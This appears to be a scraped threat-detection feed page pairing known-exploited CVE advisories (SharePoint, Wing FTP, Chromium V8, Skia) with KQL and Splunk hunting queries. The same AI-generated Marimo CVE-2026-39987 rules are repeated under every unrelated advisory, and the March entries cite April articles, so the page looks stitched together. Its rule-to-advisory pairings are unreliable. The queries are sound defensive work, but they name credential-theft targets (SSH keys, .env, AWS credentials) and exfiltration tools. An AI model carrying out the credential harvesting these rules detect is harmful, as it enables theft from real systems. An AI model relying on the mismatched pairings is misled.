2026-03-184 use cases0 techniques3 kill-chain phases detected
Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network. Vendor: Microsoft, Product: SharePoint. Federal patch due: 2026-03-21.
CVEsCVE-2026-20963
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20963")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20963")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-171 use case1 technique2 kill-chain phases detected
Andrew MacPherson exposes how crypto thieves exploit DeFi architecture, from the $1.5 billion Bybit heist to drainers-as-a-service and fund laundering.
ATT&CKT1195.002
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-03-164 use cases0 techniques3 kill-chain phases detected
Wing FTP Server contains a generation of error message containing sensitive information vulnerability when using a long value in the UID cookie. Vendor: Wing FTP Server, Product: Wing FTP Server. Federal patch due: 2026-03-30.
CVEsCVE-2025-47813
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-47813")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-47813")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-134 use cases0 techniques3 kill-chain phases detected
Google Chromium V8 contains an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. Vendor: Google, Product: Chromium V8. Federal patch due: 2026-03-27.
CVEsCVE-2026-3910
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-3910")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-3910")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-134 use cases0 techniques3 kill-chain phases detected
Google Skia contains an out-of-bounds write vulnerability that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products. Vendor: Google, Product: Skia. Federal patch due: 2026-03-27.
CVEsCVE-2026-3909
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-3909")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-3909")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
